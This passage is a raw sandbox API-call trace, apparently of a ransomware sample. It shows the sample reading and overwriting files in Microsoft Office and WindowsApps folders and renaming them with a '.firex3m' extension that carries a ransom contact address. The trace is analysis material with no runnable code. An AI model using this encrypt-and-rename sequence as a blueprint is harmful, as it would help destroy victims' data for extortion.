"c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft office\\office16\\dcf\\en\\spreadsheetcompare_col.hxc.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0236.535] GetProcessHeap () returned 0x630000 [0236.535] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x2c1) returned 0x6d9b40 [0236.535] GetProcessHeap () returned 0x630000 [0236.535] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x2c1) returned 0x6db280 [0236.535] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.535] ReadFile (in: hFile=0x4d4, lpBuffer=0x6d9b40, nNumberOfBytesToRead=0x2a0, lpNumberOfBytesRead=0x5c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6d9b40*, lpNumberOfBytesRead=0x5c3ff0c*=0x2a0, lpOverlapped=0x0) returned 1 [0236.542] GetProcessHeap () returned 0x630000 [0236.542] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317608 [0236.542] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.542] WriteFile (in: hFile=0x4d4, lpBuffer=0x6db280*, nNumberOfBytesToWrite=0x2a0, lpNumberOfBytesWritten=0x5c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6db280*, lpNumberOfBytesWritten=0x5c3ff0c*=0x2a0, lpOverlapped=0x0) returned 1 [0236.542] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.542] WriteFile (in: hFile=0x4d4, lpBuffer=0x6db51f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x5c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6db51f*, lpNumberOfBytesWritten=0x5c3ff0c*=0x20, lpOverlapped=0x0) returned 1 [0236.542] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.542] WriteFile (in: hFile=0x4d4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x5c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x5c3ff0c*=0x4, lpOverlapped=0x0) returned 1 [0236.543] CloseHandle (hObject=0x4d4) returned 1 [0236.543] GetProcessHeap () returned 0x630000 [0236.543] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6db280 | out: hHeap=0x630000) returned 1 [0236.543] GetProcessHeap () returned 0x630000 [0236.543] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6d9b40 | out: hHeap=0x630000) returned 1 [0236.543] GetProcessHeap () returned 0x630000 [0236.543] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317608 | out: hHeap=0x630000) returned 1 [0236.543] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5c3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0236.543] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\en\\SpreadsheetCompare_col.hxc.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5c3fcc4 | out: lpFindFileData=0x5c3fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcae6392, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcae6392, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x52ef5e09, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x2d2, dwReserved0=0x5c3fd20, dwReserved1=0x6d9b40, cFileName="SpreadsheetCompare_col.hxc.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SPREAD~4.FIR")) returned 0x6d5440 [0236.543] FindClose (in: hFindFile=0x6d5440 | out: hFindFile=0x6d5440) returned 1 [0236.543] Sleep (dwMilliseconds=0x1) [0236.545] SysReAllocStringLen (in: pbstr=0x5c3ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\en\\SpreadsheetCompare.HxS", len=0x72 | out: pbstr=0x5c3ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\en\\SpreadsheetCompare.HxS") returned 1 [0236.545] GetProcessHeap () returned 0x630000 [0236.545] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4f10) returned 0x6fe3bb0 [0236.545] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\en\\SpreadsheetCompare.HxS" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft office\\office16\\dcf\\en\\spreadsheetcompare.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x66c [0236.547] CloseHandle (hObject=0x66c) returned 1 [0236.547] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5c3ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0236.547] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\en\\SpreadsheetCompare.HxS" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft office\\office16\\dcf\\en\\spreadsheetcompare.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\en\\SpreadsheetCompare.HxS.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft office\\office16\\dcf\\en\\spreadsheetcompare.hxs.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0236.548] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5c3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0236.549] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\en\\SpreadsheetCompare.HxS.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5c3fc6c | out: lpFindFileData=0x5c3fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xed5eb1ce, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed5eb1ce, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcae6392, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x36eb2, dwReserved0=0x330038, dwReserved1=0x320031, cFileName="SpreadsheetCompare.HxS.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SP81FF~1.FIR")) returned 0x6d4f80 [0236.549] FindClose (in: hFindFile=0x6d4f80 | out: hFindFile=0x6d4f80) returned 1 [0236.549] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\en\\SpreadsheetCompare.HxS.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft office\\office16\\dcf\\en\\spreadsheetcompare.hxs.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x66c [0236.550] GetProcessHeap () returned 0x630000 [0236.550] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x70505a0 [0236.550] GetProcessHeap () returned 0x630000 [0236.550] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x731ceb0 [0236.551] SetFilePointerEx (in: hFile=0x66c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.551] ReadFile (in: hFile=0x66c, lpBuffer=0x70505a0, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x5c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x70505a0*, lpNumberOfBytesRead=0x5c3ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0245.338] GetProcessHeap () returned 0x630000 [0245.338] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x745c530 [0245.338] SetFilePointerEx (in: hFile=0x66c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0245.338] WriteFile (in: hFile=0x66c, lpBuffer=0x731ceb0*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x5c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x731ceb0*, lpNumberOfBytesWritten=0x5c3ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0245.338] SetFilePointerEx (in: hFile=0x66c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0245.338] WriteFile (in: hFile=0x66c, lpBuffer=0x73282af*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x5c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x73282af*, lpNumberOfBytesWritten=0x5c3ff0c*=0x20, lpOverlapped=0x0) returned 1 [0245.339] SetFilePointerEx (in: hFile=0x66c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0245.340] WriteFile (in: hFile=0x66c, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x5c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x5c3ff0c*=0x4, lpOverlapped=0x0) returned 1 [0245.340] CloseHandle (hObject=0x66c) returned 1 [0245.340] GetProcessHeap () returned 0x630000 [0245.340] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x731ceb0 | out: hHeap=0x630000) returned 1 [0245.340] GetProcessHeap () returned 0x630000 [0245.340] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70505a0 | out: hHeap=0x630000) returned 1 [0245.340] GetProcessHeap () returned 0x630000 [0245.340] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x745c530 | out: hHeap=0x630000) returned 1 [0245.340] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5c3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0245.340] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\en\\SpreadsheetCompare.HxS.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5c3fcc4 | out: lpFindFileData=0x5c3fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xed5eb1ce, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed5eb1ce, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x582fac7f, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x36ed6, dwReserved0=0xaec7496, dwReserved1=0x7050598, cFileName="SpreadsheetCompare.HxS.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SP81FF~1.FIR")) returned 0x6d5200 [0245.340] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0245.340] Sleep (dwMilliseconds=0x1) [0245.395] SysReAllocStringLen (in: pbstr=0x5c3ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\msjet.xsl", len=0x78 | out: pbstr=0x5c3ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\msjet.xsl") returned 1 [0245.395] GetProcessHeap () returned 0x630000 [0245.395] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e70) returned 0x6fe3bb0 [0245.395] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\msjet.xsl" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx64\\microsoft analysis services\\as oledb\\110\\cartridges\\msjet.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x70c [0245.397] CloseHandle (hObject=0x70c) returned 1 [0245.397] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5c3ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0245.397] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\msjet.xsl" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx64\\microsoft analysis services\\as oledb\\110\\cartridges\\msjet.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\msjet.xsl.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx64\\microsoft analysis services\\as oledb\\110\\cartridges\\msjet.xsl.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0245.398] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5c3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0245.398] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\msjet.xsl.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5c3fc6c | out: lpFindFileData=0x5c3fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2a809c41, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2a809c41, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2a8560d3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7339, dwReserved0=0x390031, dwReserved1=0x380039, cFileName="msjet.xsl.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MSJETX~1.FIR")) returned 0x6d5200 [0245.398] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0245.398] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\msjet.xsl.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx64\\microsoft analysis services\\as oledb\\110\\cartridges\\msjet.xsl.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x70c [0245.399] GetProcessHeap () returned 0x630000 [0245.399] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x7341) returned 0x74bae90 [0245.399] GetProcessHeap () returned 0x630000 [0245.399] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x7341) returned 0x74c21e0 [0245.399] SetFilePointerEx (in: hFile=0x70c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0245.399] ReadFile (in: hFile=0x70c, lpBuffer=0x74bae90, nNumberOfBytesToRead=0x7320, lpNumberOfBytesRead=0x5c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x74bae90*, lpNumberOfBytesRead=0x5c3ff0c*=0x7320, lpOverlapped=0x0) returned 1 [0249.964] GetProcessHeap () returned 0x630000 [0249.964] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317608 [0249.964] SetFilePointerEx (in: hFile=0x70c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.964] WriteFile (in: hFile=0x70c, lpBuffer=0x74c21e0*, nNumberOfBytesToWrite=0x7320, lpNumberOfBytesWritten=0x5c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x74c21e0*, lpNumberOfBytesWritten=0x5c3ff0c*=0x7320, lpOverlapped=0x0) returned 1 [0252.006] SetFilePointerEx (in: hFile=0x70c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0252.006] WriteFile (in: hFile=0x70c, lpBuffer=0x74c94ff*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x5c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x74c94ff*, lpNumberOfBytesWritten=0x5c3ff0c*=0x20, lpOverlapped=0x0) returned 1 [0252.006] SetFilePointerEx (in: hFile=0x70c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0252.007] WriteFile (in: hFile=0x70c, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x5c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x5c3ff0c*=0x4, lpOverlapped=0x0) returned 1 [0252.007] CloseHandle (hObject=0x70c) returned 1 [0253.672] GetProcessHeap () returned 0x630000 [0253.672] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x74c21e0 | out: hHeap=0x630000) returned 1 [0253.672] GetProcessHeap () returned 0x630000 [0253.672] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x74bae90 | out: hHeap=0x630000) returned 1 [0253.673] GetProcessHeap () returned 0x630000 [0253.673] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317608 | out: hHeap=0x630000) returned 1 [0254.422] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5c3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0254.422] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\msjet.xsl.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5c3fcc4 | out: lpFindFileData=0x5c3fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2a809c41, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2a809c41, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5c277970, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x735d, dwReserved0=0xaec7496, dwReserved1=0x74bae88, cFileName="msjet.xsl.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MSJETX~1.FIR")) returned 0x6d5340 [0254.422] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0254.422] Sleep (dwMilliseconds=0x1) [0254.444] SysReAllocStringLen (in: pbstr=0x5c3ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\Weather_LogoSmall.scale-100.png", len=0xa1 | out: pbstr=0x5c3ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\Weather_LogoSmall.scale-100.png") returned 1 [0254.444] GetProcessHeap () returned 0x630000 [0254.444] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e1c) returned 0x6fe3bb0 [0254.444] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\Weather_LogoSmall.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\apptiles\\contrast-white\\weather_logosmall.scale-100.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.454] Sleep (dwMilliseconds=0x1) [0254.464] SysReAllocStringLen (in: pbstr=0x5c3ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\PlatformConfiguration.xml", len=0x68 | out: pbstr=0x5c3ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\PlatformConfiguration.xml") returned 1 [0254.464] GetProcessHeap () returned 0x630000 [0254.464] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4de4) returned 0x6fe3bb0 [0254.464] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\PlatformConfiguration.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.bingsports_4.6.169.0_x86__8wekyb3d8bbwe\\platformconfiguration.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.162] Sleep (dwMilliseconds=0x1) [0261.073] SysReAllocStringLen (in: pbstr=0x5c3ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Weather_LogoSmall.targetsize-32.png", len=0x92 | out: pbstr=0x5c3ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Weather_LogoSmall.targetsize-32.png") returned 1 [0261.073] GetProcessHeap () returned 0x630000 [0261.073] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4ccc) returned 0x6fe3bb0 [0261.073] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Weather_LogoSmall.targetsize-32.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\contrast-black\\weather_logosmall.targetsize-32.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.074] Sleep (dwMilliseconds=0x1) [0262.785] SysReAllocStringLen (in: pbstr=0x5c3ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherImages\\210x173\\15.jpg", len=0x7c | out: pbstr=0x5c3ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherImages\\210x173\\15.jpg") returned 1 [0262.785] GetProcessHeap () returned 0x630000 [0262.785] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d90) returned 0x6fe3bb0 [0262.785] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherImages\\210x173\\15.jpg" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\weatherimages\\210x173\\15.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0262.787] Sleep (dwMilliseconds=0x1) [0263.788] SysReAllocStringLen (in: pbstr=0x5c3ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\182.png", len=0x7a | out: pbstr=0x5c3ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\182.png") returned 1 [0263.788] GetProcessHeap () returned 0x630000 [0263.788] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4cd4) returned 0x6fe3bb0 [0263.788] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\182.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\weathericons\\30x30\\182.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.790] Sleep (dwMilliseconds=0x1) [0264.648] SysReAllocStringLen (in: pbstr=0x5c3ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\Assets\\SmallLogo.scale-100.png", len=0x75 | out: pbstr=0x5c3ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\Assets\\SmallLogo.scale-100.png") returned 1 [0264.648] GetProcessHeap () returned 0x630000 [0264.648] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d3c) returned 0x6fe3bb0 [0264.648] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\Assets\\SmallLogo.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.connectivitystore_1.1509.1.0_x64__8wekyb3d8bbwe\\assets\\smalllogo.scale-100.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.648] Sleep (dwMilliseconds=0x1) [0264.656] SysReAllocStringLen (in: pbstr=0x5c3ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\FAQ\\en-US\\FAQ.htm", len=0x68 | out: pbstr=0x5c3ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\FAQ\\en-US\\FAQ.htm") returned 1 [0264.656] GetProcessHeap () returned 0x630000 [0264.656] RtlReAllocateHeap 